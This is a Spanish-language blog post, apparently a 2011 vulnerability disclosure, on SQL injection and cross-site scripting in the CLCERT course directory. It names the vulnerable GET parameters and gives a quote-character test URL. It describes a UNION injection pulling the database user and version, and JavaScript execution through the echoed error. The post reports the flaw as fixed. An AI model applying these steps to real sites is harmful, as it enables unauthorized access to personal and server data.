Esta organización da cursos y diplomados relacionados a la &#8220;Seguridad Computacional&#8221; o como la mayoría los conoce &#8220;Cursos de Seguridad Informática&#8221; o simplemente &#8220;Cursos de Seguridad&#8221;. Todas las personas que han pasado por estos cursos se pueden ver en la URL <a href="http://capacita.clcert.cl/dir/">http://capacita.clcert.cl/dir/</a> la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.</p>
<p>La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable &#8220;apellido&#8221;, &#8220;id&#8221; y &#8220;fecha&#8221; del archivo index.php. Y la XSS se produce a partir de esta misma.</p>
<p>Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url</p>
<p><img class="aligncenter size-full wp-image-2388" title="url" src="http://blog.zerial.org/wp-content/uploads/2011/07/url.png" alt="" width="259" height="31" /></p>
<p>Deducimos que podemos inyectar código sql mediante la variable &#8220;<em>apellido</em>&#8220;.</p>
<p><span id="more-2387"></span></p>
<p><strong>Proof-of-Concept</strong></p>
<h3>1. SQL Injection</h3>
<p>Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter &#8221; &#8216; &#8221; al valor de la variable mediante la URL <a href="http://capacita.clcert.cl/dir/?apellido=%27">http://capacita.clcert.cl/dir/?apellido=%27</a> y obtenemos el error esperado con la información deseada:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png"><img class="aligncenter size-full wp-image-2390" title="sql1" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png" alt="" width="661" height="61" /></a></p>
<p>Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.<br />
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones <strong>user()</strong> y <strong>version()</strong> propias del MySQL.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png"><img class="aligncenter size-full wp-image-2394" title="sql2_url" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png" alt="" width="545" height="37" /></a></p>
<p>Obteniendo en los campos correspondientes la información solicitada</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png"><img class="aligncenter size-full wp-image-2395" title="sql2" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png" alt="" width="587" height="68" /></a></p>
<p>Con este simple sql injection ya tenemos información relevante. Usuario &#8220;diplomado&#8221; y version 4.1.22 del mysql.</p>
<h3>2. Cross-Site Scripting</h3>
<p>Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos &#8220;&#8216; esta es una prueba&#8221; veremos lo siguiente:</p>
<blockquote><p>Query failed: You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to  use near &#8216;<strong>esta es una prueba%&#8217;</strong>&#8216; at line 1Executed query: select   apellidos, nombres, fecha , id from users where apellidos like &#8221; esta  es una prueba%&#8217;</p></blockquote>
<p>Por lo tanto, si en lugar de &#8220;esta es una prueba&#8221; ingresamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png" alt="" title="xss1" width="681" height="404" class="aligncenter size-full wp-image-2400" /></a></p>
<p>Es increible como las organizaciones que &#8220;luchan&#8221; por la seguridad son inseguras. Errores tan basicos, tan simples &#8230; Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.</p>
<p>La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio. </p>
<p><strong>Links</strong></p>
<p><a href="http://www.secureless.org/vulnerability/1808">Reporte XSS en Secureless</a><br />
<a href="http://www.secureless.org/vulnerability/1807">Reporte SQL-Injection en Secureless</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"  data-text="Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

